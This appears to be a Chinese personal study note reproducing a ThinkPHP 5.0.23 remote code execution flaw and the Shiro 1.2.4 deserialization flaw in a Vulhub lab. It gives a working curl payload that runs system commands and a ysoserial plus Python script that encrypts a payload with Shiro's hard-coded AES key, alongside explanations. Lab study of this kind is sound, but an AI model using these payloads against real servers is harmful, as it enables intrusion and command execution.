ThinkPHP RCE 与 Shiro 反序列化:两种完全不同的入口(个人学习笔记)

ThinkPHP RCE 与 Shiro 反序列化:两种完全不同的入口(个人学习笔记) 【渗透测试入门02】ThinkPHP RCE 与 Shiro 反序列化两种完全不同的入口 **实验环境**Vulhub 靶场ThinkPHP 5.0.23 Shiro 1.2.4 **研究目的**对比两种 Java/PHP 框架漏洞的攻击入口差异 **实验环境**本地授权测试环境Vulhub Docker 靶场 **研究目的**对比分析 Java/PHP 框架漏洞的不同攻击入口与防御思路 **免责声明**本文仅供网络安全学习研究请勿用于非法用途---------------------------------------------------------------------------------------------------------------------------------一、两个漏洞的区别在企业渗透测试与红队评估中**ThinkPHP** 和 **Apache Shiro** 是两种最常见的 Java/PHP 框架风险点。但它们的**攻击入口完全不同**- **ThinkPHP**通过 **URL 请求参数** 直接触发- **Shiro**通过 **Cookie 中的加密字段** 间接触发一个明着来一个暗着来。理解这种差异对安全防御和漏洞排查至关重要---------------------------------------------------------------------------------------------------------------------------------二、ThinkPHP 5.x 远程代码执行风险明着来ThinkPHP 处理URL时会把路径解析成 模块/控制器/方法 的格式。漏洞根源路由解析的任意方法调用ThinkPHP 5.x 在处理 s 参数时没有严格校验控制器和方法的合法性导致攻击者可以构造特殊的控制器/方法组合触发框架内部的危险方法复现过程1启动靶场环境需要先拉取vulhub靶场cd ~/Desktop/vulhub/thinkphp/5.0.23-rce #进入自己vulhub所在路径地址 docker-compose up -d #启动docker容器 docker-compose ps浏览器看到此页面说明靶场环境成功启动2构造恶意payloadcurl -X POST http://192.168.220.120:8080/index.php?sindex/think\app/invokefunctionfunctioncall_user_func_arrayvars%5B0%5Dsystemvars%5B1%5D%5B%5Dwhoami预期回显如下还可以收集其他信息内容查看当前用户id当前目录读文件目录内容3个人理解ThinkPHP 5.x RCE 的本质是路由解析没有白名单校验导致攻击者可以直接调用框架内部的 invokefunction 方法通过 call_user_func_array 层层传递最终调用 system 等函数执行任意命令。修复的核心是框架内部类不应该暴露给外部路由。---------------------------------------------------------------------------------------------------------------------------------三、Apache Shiro 反序列化漏洞暗着来复现过程1启动靶场环境环境同上见到如图所示页面证明启动成功2下载 ysoserialJava 反序列化 Payload 生成器wget https://ghproxy.com/https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar -O ysoserial.jar3安装python加密库# 方案1apt 安装最干净推荐 sudo apt update sudo apt install python3-pycryptodome -y # 验证 python3 -c from Crypto.Cipher import AES; print(OK)4获取DNSlog域名用于验证漏洞浏览器打开dnslog网站5生成payloadURLDNSjava -jar ysoserial.jar URLDNS http://xxx.dnslog.cn payload.bin此处使用方法是最安全的验证方式只触发 DNS 查询不执行系统命令不会被杀软/防火墙拦截6进行重新加密python3 PYEOF from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend import base64 import os # Shiro 硬编码密钥1.2.4 及之前版本 key kPHbIxk5D2deZiIxcaaaA # 读取 ysoserial 生成的序列化 payload with open(payload.bin, rb) as f: payload f.read() # Base64 解码密钥 k base64.b64decode(key) # 生成随机 16 字节 IV初始化向量 iv os.urandom(16) # PKCS5Padding块大小 16与 PKCS7Padding 等价 pad 16 - len(payload) % 16 padded payload bytes([pad]) * pad # AES-128-CBC 加密 cipher Cipher(algorithms.AES(k), modes.CBC(iv), backenddefault_backend()) encryptor cipher.encryptor() encrypted encryptor.update(padded) encryptor.finalize() # 输出IV 密文Base64 编码 print(base64.b64encode(iv encrypted).decode()) PYEOF得到一串长字符串用它去请求目标服务器此时我们会发现dnslog出现了访问记录则证明存在该漏洞7个人理解漏洞原理第一层什么是序列化和反序列化想象你有一个乐高积木城堡Java 对象你想把它寄给朋友。序列化把城堡拆成一块块积木装进盒子变成字节流方便运输。反序列化朋友收到盒子把积木一块块拼回去从字节流还原成对象重新搭出城堡第二层Shiro 的Remember Me机制Shiro 为了让你下次访问不用重新登录做了这件事Shiro 1.2.4 及之前版本AES 密钥是硬编码的 全世界所有用默认配置的 Shiro都用同一把钥匙kPHbIxk5D2deZiIxcaaaA第三层反序列化为什么会执行代码这是 Java 语言的特性。某些 Java 类在被还原反序列化的过程中会自动调用一些方法。最经典的是 ObjectInputStream.readObject()它在还原对象时会自动执行对象里的 readObject() 方法。攻击者的思路如果我精心构造一个特殊的城堡序列化字节流里面某些积木块是机关当 Shiro 把它们拼回去时这些机关就会触发执行我预设的代码。---------------------------------------------------------------------------------------------------------------------------------四、防御思路对比---------------------------------------------------------------------------------------------------------------------------------五、参考链接- Vulhub ThinkPHP 靶场https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce- Vulhub Shiro 靶场https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437- Apache Shiro 官方安全通告https://shiro.apache.org/security-reports.html